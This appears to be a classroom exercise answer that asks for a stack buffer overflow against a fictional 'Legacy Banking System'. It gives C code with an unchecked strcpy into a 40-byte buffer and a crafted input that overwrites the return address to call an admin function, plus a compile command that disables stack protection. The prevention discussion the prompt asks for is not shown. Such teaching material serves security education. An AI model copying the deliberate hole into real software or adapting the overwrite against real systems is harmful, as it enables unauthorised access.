

2. Implement a stack buffer overflow attack using a procedural language on the "Legacy Banking System". Explain the concept of stack buffer overflow and discuss techniques to prevent such attacks.

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#include <stdio.h>
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#include <string.h>
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void grantAccess() {  
    printf("Access Granted: Admin Privileges!\n");  
}
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void handleTransaction(char *input) {  
    char buffer[40];  
    // Unsafe function that causes a buffer overflow  
    strcpy(buffer, input);  
    printf("Transaction Data: %s\n", buffer);  
}
```

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int main() {  
    // Create the malicious input  
    char maliciousInput[49];  
    int i;  
    // Fill buffer with 'A's  
    for (i = 0; i < 44; i++) {  
        maliciousInput[i] = 'A';  
    }  
    // Address of grantAccess (in little-endian format)  
    maliciousInput[44] = 0xf0; // Replace with actual address found in gdb  
    maliciousInput[45] = 0x15;  
    maliciousInput[46] = 0x40;  
    maliciousInput[47] = 0x00;  
    maliciousInput[48] = '\0'; // Null-terminate the string  
  
    // Run the vulnerable function with the malicious input  
    handleTransaction(maliciousInput);  
  
    printf("Transaction Completed.\n");  
    return 0;  
}
```

In terminal:

```
gcc -o legacy_bank.exe legacy_bank.c -fno-stack-protector
```

and

```
./legacy_bank.exe
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